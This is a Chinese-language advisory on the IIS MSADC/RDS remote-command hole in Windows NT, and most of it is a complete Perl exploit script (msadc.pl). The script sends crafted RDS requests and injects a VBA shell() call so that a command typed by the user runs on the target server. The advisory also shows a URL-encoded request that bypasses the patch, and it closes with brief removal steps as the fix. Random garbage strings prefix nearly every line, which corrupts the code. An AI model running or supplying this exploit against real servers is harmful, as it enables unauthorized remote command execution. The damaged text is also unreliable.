IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
R#3zGWr~
W[ I$([ 涉及程序：
Tw djBMte Microsoft NT server
h/oun2C (/At+MF3E 描述：
[;yKbw!C 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
]
)iP?2{ m.rV1#AI 详细：
<THw l/a 如果你没有时间读详细内容的话，就删除:
43E)ltR=] c:\Program Files\Common Files\System\Msadc\msadcs.dll
KTt+}-vP^ 有关的安全问题就没有了。
`-%dHvB^R YO-B|f 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
yKuZJXGVo c0Bq m 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
*+zFsu 4l 关于利用ODBC远程漏洞的描述，请参看:
KB^8Z@(+ Z'`\N@c# http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Xq
)7Im}? q6N{N>-D 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
FAL#p$y} http://www.microsoft.com/security/bulletins/MS99-025faq.asp l?$X .Cw X M*bsA/ Z 这里不再论述。
-<k)|]8 h^_^) P+; 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
RhKDQGdd EZ{{p+e ^ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Ky7.&6\n 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
WMnSkO s-5 #P,Lw (1q(6! #将下面这段保存为txt文件，然后: "perl -x 文件名"
bDIhI}P ~CHcbEWk)W #!perl
-fV\JJ #
S" @6, # MSADC/RDS 'usage' (aka exploit) script
*z6A ~U #
sVFX(yx0 # by rain.forest.puppy
K|\0jd)N #
~:k
r;n2 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
AcEz$wy # beta test and find errors!
v FQ]>n X =S uJ* use Socket; use Getopt::Std;
gx^_bH h getopts("e:vd:h:XR", \%args);
cAGM|% AX&Emz- print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
~3Pp}eO~V KztQT9kY if (!defined $args{h} && !defined $args{R}) {
`KLr!<i() print qq~
-hfkF+=U' Usage: msadc.pl -h <host> { -d <delay> -X -v }
o<p4r}*AVJ -h <host> = host you want to scan (ip or domain)
A@?-"=h} -d <seconds> = delay between calls, default 1 second
(e~9T MY -X = dump Index Server path table, if available
i;/;zG^=_ -v = verbose
Nxl #] -e = external dictionary file for step 5
=bP<cC=3b J E5qR2VA Or a -R will resume a command session
"[k>pzl6 ^8bc< c:P ~; exit;}
%Qb}z@>fJk G9xO>Xp^Al $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
u\iKdL if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
w;(=w N\ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
/qwY/^ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Q(Q?L5
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Wl=yxJu_( if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
of7p~{3H A /c
if (!defined $args{R}){ $ret = &has_msadc;
*' es(]W die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
DzA'M X G(shZ=fq print "Please type the NT commandline you want to run (cmd /c assumed):\n"
=
=Q*|L-g . "cmd /c ";
f WW B]h $in=<STDIN>; chomp $in;
!B#lZjW # $command="cmd /c " . $in ;
p/u 5kWzD'!^ if (defined $args{R}) {&load; exit;}
@].!}tz F\&^(EL print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
?li/mc.XG &try_btcustmr;
D%?9[Qb <C;TGA print "\nStep 2: Trying to make our own DSN...";
kef% 5B &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
xe(7q1 l O* print "\nStep 3: Trying known DSNs...";
-vc$I=b ; &known_dsn;
k EAF1RP: iFcSz print "\nStep 4: Trying known .mdbs...";
@x
A^F%( &known_mdb;
/zQx}U)TP 8 KkN
"4' if (defined $args{e}){
?UI W&*h} print "\nStep 5: Trying dictionary of DSN names...";
Tj!\SbnA[ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
/[/{m ] XhWo~zh" print "Sorry Charley...maybe next time?\n";
y0?HZ Xq exit;
m J$[X p/7'r ##############################################################################
Oi$1ma xT [ybK sub sendraw { # ripped and modded from whisker
0Y0`$
sleep($delay); # it's a DoS on the server! At least on mine...
t@+e#3P! my ($pstr)=@_;
4 @mJEi{ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
#(a ;w die("Socket problems\n");
l>BM}hS if(connect(S,pack "SnA4x8",2,80,$target)){
a~J Zc<ze select(S); $|=1;
H+gB| print $pstr; my @in=<S>;
L >hLY IW select(STDOUT); close(S);
X2,v'`U5& return @in;
,qV 7 $u } else { die("Can't connect...\n"); }}
~-%z:Re'_ _Vt9ckaA ##############################################################################
_PwPLSg :iQJ9Hdz sub make_header { # make the HTTP request
%=s2>vv9 my $msadc=<<EOT
2pSp(@ N3 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
^ AZv4H*~ User-Agent: ACTIVEDATA
T 0b/txS Host: $ip
-sDl [ Content-Length: $clen
Dd,
&a Connection: Keep-Alive
={6vShG)m +~
Y.m8 ADCClientVersion:01.06
=W"T= p*j Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
9 *v14 c% =t~] @?]1D --!ADM!ROX!YOUR!WORLD!
fti0Tz' Content-Type: application/x-varg
{`> pigo Content-Length: $reqlen
*`Ge8?qC Pe11a zJ EOT
zpNt[F?~1 ; $msadc=~s/\n/\r\n/g;
#0^a-47PA< return $msadc;}
Y10 N>sHT
=_ ##############################################################################
EVLDP\w{ F<*zL:-Z sub make_req { # make the RDS request
B~O<?@]d my ($switch, $p1, $p2)=@_;
3lS1WA my $req=""; my $t1, $t2, $query, $dsn;
Dw TVoCC Qdc)S>g p if ($switch==1){ # this is the btcustmr.mdb query
)hVn/ *mH $query="Select * from Customers where City=" . make_shell();
+*e Vi3 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
aHitP Plq $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
i"4;{C{s T7Ju7_ q} elsif ($switch==2){ # this is general make table query
a'>n'Y~E $query="create table AZZ (B int, C varchar(10))";
F"23v G>3 $dsn="$p1";}
usi3z9P>n }`76yH^c elsif ($switch==3){ # this is general exploit table query
4:s,e<Tc4v $query="select * from AZZ where C=" . make_shell();
yi -0CHo $dsn="$p1";}
_ vAc/_ N tq*6]q8c> elsif ($switch==4){ # attempt to hork file info from index server
]x'd0GH"] $query="select path from scope()";
T eJ=QpGW2 $dsn="Provider=MSIDXS;";}
q$<VLrx \34 :]NM elsif ($switch==5){ # bad query
e Zg>]<L $query="select";
=&: |a$C $dsn="$p1";}
uj)fah?Wg _]0<G8|Rv $t1= make_unicode($query);
sM9 u tR $t2= make_unicode($dsn);
4 *.
O% $req = "\x02\x00\x03\x00";
V'K:52 $req.= "\x08\x00" . pack ("S1", length($t1));
bq}`jP~# $req.= "\x00\x00" . $t1 ;
)3 '8T>^<K $req.= "\x08\x00" . pack ("S1", length($t2));
Dh68=F0 $req.= "\x00\x00" . $t2 ;
p@d _Ru $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
2=VFUR 8 return $req;}
Y7')~C`up^ [z'jL' \4 ##############################################################################
/3;]e3x VMu?mqEa sub make_shell { # this makes the shell() statement
K}Q:L(SSr\ return "'|shell(\"$command\")|'";}
5YgT*}L+, =9:gW5F69 ##############################################################################
7gRR/&ZK M'pIAm1p sub make_unicode { # quick little function to convert to unicode
Ir Y\Q) my ($in)=@_; my $out;
DyUS^iz~o for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
p?4,YV|# return $out;}
l,UOP[j G#1W":|` ##############################################################################
nPjK=o`KR $gCN [%+j sub rdo_success { # checks for RDO return success (this is kludge)
z0|-OCmL my (@in) = @_; my $base=content_start(@in);
_Ec"[xW if($in[$base]=~/multipart\/mixed/){
x-b}S1@ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
5inCAPXz return 0;}
PlwM3 lrj I
|" ' ##############################################################################
Q ve5qJ eZ
7Atu v sub make_dsn { # this makes a DSN for us
VKSn \HT~ my @drives=("c","d","e","f");
rkz84wDx print "\nMaking DSN: ";
e Wr6@ foreach $drive (@drives) {
XR$i:kL,, print "$drive: ";
%Nx,ZD@ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Xi w "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
f6{.Uq%SGp . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
7R,;/3wWjG $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
.fS{j$ return 0 if $2 eq "404"; # not found/doesn't exist
!=u=P9 I if($2 eq "200") {
apnpy\in foreach $line (@results) {
HmH M#~5(` return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
I6,||!sZ } return 0;}
$"MGu^0;1 UUF]45t> ##############################################################################
e7plL^^` CY$
1;/ sub verify_exists {
Q% ^_<u my ($page)=@_;
K#VGG,h7Y my @results=sendraw("GET $page HTTP/1.0\n\n");
p$ ` ^A return $results[0];}
qq@]xdl j3u!lZ}U ##############################################################################
NLUiNfCR j]aIJbi sub try_btcustmr {
F)@zo/u5 L my @drives=("c","d","e","f");
5Fbb5 `( my @dirs=("winnt","winnt35","winnt351","win","windows");
?yu@e o q Ll4t/p foreach $dir (@dirs) {
O9N+<sU=X print "$dir -> "; # fun status so you can see progress
s4 Vju/ foreach $drive (@drives) {
ac1(l D print "$drive: "; # ditto
\tCK 7sB n $reqlen=length( make_req(1,$drive,$dir) ) - 28;
_xnJfW_ $reqlenlen=length( "$reqlen" );
6X$nZM|g, $clen= 206 + $reqlenlen + $reqlen;
15%6;K?b ^s$U
n6v[ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
L=P8; Gj) if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
%/ :&L+q else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
C:f^&4
3 ++ObsWZ ##############################################################################
L x iN9 /UaQ 2 h\ sub odbc_error {
4w]<1V my (@in)=@_; my $base;
i~*6JB| my $base = content_start(@in);
,'sDauFn if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
b{X.lz0 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
U.ZA% De $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
?}EWfsA $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
p:ZQ*Ue return $in[$base+4].$in[$base+5].$in[$base+6];}
J%fJF//U print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
OC\cN%qlw print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
% 3fpIzm $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Ki%)LQAg &v9"lR=_k ##############################################################################
Iv{iJoe;UH y{XNB}E sub verbose {
?q0a^c?A^ my ($in)=@_;
*Tmqs@L return if !$verbose;
E;"VI2F print STDOUT "\n$in\n";}
P E[5oH kHQn' r 6 ##############################################################################
/Wdrpv-%,1 ) 5Cqyp~P sub save {
O.aAa5^uh my ($p1, $p2, $p3, $p4)=@_;
`[ZA#8Ma open(OUT, ">rds.save") || print "Problem saving parameters...\n";
KCq z] print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
h,]lN'JG{ close OUT;}
<Zh\6*3:ab 9>_ VU"T ##############################################################################
F'_z$,X6 B E#pHg sub load {
qc.9GC my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
z,VXH ?.Zo open(IN,"<rds.save") || die("Couldn't open rds.save\n");
j",*&sy @p=<IN>; close(IN);
GW]t~EL $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
JBISA _Y $target= inet_aton($ip) || die("inet_aton problems");
[ .3Gb}B print "Resuming to $ip ...";
c{T)31ldW $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
nYj7r* e[ if($p[1]==1) {
%,d+ jBM $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
>q&e.- qL $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
U/7j K40 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
5+)_d%v=6! if (rdo_success(@results)){print "Success!\n";}
Zh?n;n} else { print "failed\n"; verbose(odbc_error(@results));}}
vTp,j-^ elsif ($p[1]==3){
2J` LZS if(run_query("$p[3]")){
e JEcLK3u print "Success!\n";} else { print "failed\n"; }}
<F| S<\Y. elsif ($p[1]==4){
:[Ie0[H/M if(run_query($drvst . "$p[3]")){
mU iJ @ print "Success!\n"; } else { print "failed\n"; }}
ldG$hk' exit;}
MOIVt) ZY TQ5kT ?/{ ##############################################################################
c>C !vAg X)8Edw[?N3 sub create_table {
v/`#Gu^P my ($in)=@_;
C Y)[{r $reqlen=length( make_req(2,$in,"") ) - 28;
V("T9g $reqlenlen=length( "$reqlen" );
R7x*/? $clen= 206 + $reqlenlen + $reqlen;
#;'*W$Wk2 my @results=sendraw(make_header() . make_req(2,$in,""));
hllb\Y)XL return 1 if rdo_success(@results);
2}ywNVS my $temp= odbc_error(@results); verbose($temp);
v)'Uoe"R% return 1 if $temp=~/Table 'AZZ' already exists/;
ZXWm? 9uw return 0;}
-}Rh+n` 8sL+ik" ##############################################################################
^ =H 10A XJ3aaMh" sub known_dsn {
cty # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
`P;uPQDzZ3 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
mS]soYTQ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
83{v_M "banner", "banners", "ads", "ADCDemo", "ADCTest");
;{g>Z| A2B]E,JMp foreach $dSn (@dsns) {
PMiG:b M print ".";
cLMFC1=b next if (!is_access("DSN=$dSn"));
LeMo")dk \ if(create_table("DSN=$dSn")){
hQDl&A print "$dSn successful\n";
vn96o] n if(run_query("DSN=$dSn")){
Wt! NLlN8 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
/6p7 k print "Something's borked. Use verbose next time\n";}}} print "\n";}
cA+O]",} $60]RCu ##############################################################################
XN'<H(G 6x!
q sub is_access {
< t.
w(? my ($in)=@_;
Bj\ oo+L/ $reqlen=length( make_req(5,$in,"") ) - 28;
$
?YSAD1 $reqlenlen=length( "$reqlen" );
TfFH!1^+ $clen= 206 + $reqlenlen + $reqlen;
OlYCw.Zu my @results=sendraw(make_header() . make_req(5,$in,""));
X1lL@ `r.5 my $temp= odbc_error(@results);
/w(t=Y verbose($temp); return 1 if ($temp=~/Microsoft Access/);
irzWk3@: return 0;}
.cg"M 0 }9(:W </} ##############################################################################
3 e<sNU? ;S^7Q5- sub run_query {
9vz "rH V my ($in)=@_;
Twr<MXa $reqlen=length( make_req(3,$in,"") ) - 28;
E3o J;E $reqlenlen=length( "$reqlen" );
wLH[rwPr $clen= 206 + $reqlenlen + $reqlen;
,W~a%8* my @results=sendraw(make_header() . make_req(3,$in,""));
G+f@m, return 1 if rdo_success(@results);
a`uHkRX
)U my $temp= odbc_error(@results); verbose($temp);
C<\O;-nHH return 0;}
]!04L}hy|P "]D2}E>U; ##############################################################################
JGKiVBN 1t7S:IZ sub known_mdb {
vOYG&)Jm my @drives=("c","d","e","f","g");
gdyP,zMD7 my @dirs=("winnt","winnt35","winnt351","win","windows");
'Ijjk`d&c
my $dir, $drive, $mdb;
dzPwlCC%- my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
! <xe Ao%8 {(!j6 |jK # this is sparse, because I don't know of many
Wo+'j $k my @sysmdbs=( "\\catroot\\icatalog.mdb",
1]vrpJw "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
@9<M W "\\system32\\certmdb.mdb",
l~V^ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
} ^
j"@{~
tMWsgK.B my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
I`e |[k2 "\\cfusion\\cfapps\\forums\\forums_.mdb",
S MdQ,n1] "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
b:uMO N,H "\\cfusion\\cfapps\\security\\realm_.mdb",
GY %48}7 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
qm1; ^j& y "\\cfusion\\database\\cfexamples.mdb",
'rw n Ar "\\cfusion\\database\\cfsnippets.mdb",
piE9qXn "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
0i2ZgOJ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
k{3:$,
b "\\cfusion\\brighttiger\\database\\cleam.mdb",
iD)R*vnAi "\\cfusion\\database\\smpolicy.mdb",
ceDe!Iu "\\cfusion\\database\cypress.mdb",
` gIlS^Q "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
2-9'zN0u "\\website\\cgi-win\\dbsample.mdb",
Z ?H#= |U "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
F^Yt\V~T "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
T&Y?IE} ); #these are just
^w eU\ foreach $drive (@drives) {
$2=-Q/lM foreach $dir (@dirs){
)E<< foreach $mdb (@sysmdbs) {
6>! ;g'k print ".";
/`Y HPeXu if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
_u$X.5Q; print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
?d)I!x,;; if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
=6Dz<Lq print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
75j `3wzu } else { print "Something's borked. Use verbose next time\n"; }}}}}
!JtVp&? H]5%"(h foreach $drive (@drives) {
6mr5` 5~w foreach $mdb (@mdbs) {
Hn%n>Bnl print ".";
_@[M0t}g_ if(create_table($drv . $drive . $dir . $mdb)){
t&+f:)n print "\n" . $drive . $dir . $mdb . " successful\n";
/
lh3.\| if(run_query($drv . $drive . $dir . $mdb)){
kK2x';21 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
-I 7"9}j3 } else { print "Something's borked. Use verbose next time\n"; }}}}
2)D rZI }
eqK6`gHa 6 -EV_=a8[y ##############################################################################
IKhpe5} RI_:~^nO{r sub hork_idx {
]+O];*T print "\nAttempting to dump Index Server tables...\n";
P+!j[X^ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
%zx=r n(K $reqlen=length( make_req(4,"","") ) - 28;
Zi47)8 $reqlenlen=length( "$reqlen" );
@[M5$," $clen= 206 + $reqlenlen + $reqlen;
KD9Y my @results=sendraw2(make_header() . make_req(4,"",""));
&KC^ Vn3Nj if (rdo_success(@results)){
Xk[;MZ[ my $max=@results; my $c; my %d;
HMbF#!E for($c=19; $c<$max; $c++){
D&q-L[tA@ $results[$c]=~s/\x00//g;
eIjn~2^ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
x{IxS?.j+ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
)En *5-1 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
ydOJ^Yty $d{"$1$2"}="";}
y=) C id foreach $c (keys %d){ print "$c\n"; }
S Xn\k;F< } else {print "Index server doesn't seem to be installed.\n"; }}
}ie\-V ml $" C ##############################################################################
{S4^;Va1 ep a)~/sA sub dsn_dict {
D~W1[ "[ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
/7Z;/|oU while(<IN>){
k^-HY[Q9 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
EAYx+zI next if (!is_access("DSN=$dSn"));
I M:*uv if(create_table("DSN=$dSn")){
q1QrtJFPG print "$dSn successful\n";
Q C?*O?~# if(run_query("DSN=$dSn")){
A7!!kR": print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
5!Y51R^c print "Something's borked. Use verbose next time\n";}}}
6j9P`#L t print "\n"; close(IN);}
B\BxF6 y ;2X/)sxWz ##############################################################################
T\\Q!pY >, 22@4 sub sendraw2 { # ripped and modded from whisker
V $O{s~@ti sleep($delay); # it's a DoS on the server! At least on mine...
v^_OX $=, my ($pstr)=@_;
@&!H Ml socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
wIT0A-Por4 die("Socket problems\n");
4# H~g
@ if(connect(S,pack "SnA4x8",2,80,$target)){
TqURYnNd print "Connected. Getting data";
VY }?Nb<& open(OUT,">raw.out"); my @in;
?rqU&my S select(S); $|=1; print $pstr;
G
@ib while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
m}Z=m8 close(OUT); select(STDOUT); close(S); return @in;
Qx,jUL#2 } else { die("Can't connect...\n"); }}
?`%7Y~ :BFecS&i5 ##############################################################################
7I>@PV N 4f+R }Ee7 sub content_start { # this will take in the server headers
]A jDe] my (@in)=@_; my $c;
`e m}vdY for ($c=1;$c<500;$c++) {
QAiont ,! if($in[$c] =~/^\x0d\x0a/){
[43:E*\$ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
rOC2 S(m else { return $c+1; }}}
&HdzbKO= return -1;} # it should never get here actually
\OMWE/qMy $J8?!Xg ##############################################################################
at_~b Ox6X sBozz # sub funky {
Y0`=h"g my (@in)=@_; my $error=odbc_error(@in);
9/N=7<$ if($error=~/ADO could not find the specified provider/){
"p<B| print "\nServer returned an ADO miscofiguration message\nAborting.\n";
8I o- -Ew3 exit;}
XI+m if($error=~/A Handler is required/){
gWcl@|I;\ print "\nServer has custom handler filters (they most likely are patched)\n";
1&_9 3 exit;}
N; 4tvW I if($error=~/specified Handler has denied Access/){
q$>/~aVM print "\nServer has custom handler filters (they most likely are patched)\n";
OV)J exit;}}
*uJcB | KX V-Ebi^gz5W ##############################################################################
4{!7T N5$IVz } sub has_msadc {
q cYF& my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
~y@,d my $base=content_start(@results);
[~cb&6|M return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
f|eUpf%) return 0;}
E yJW i< E A@p]+P ########################
\4;}S&` k fJ
\bm [T 8BQ n! 解决方案：
qY^OO~[ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
w}*2Hz&Q! 2、移除web 目录: /msadc
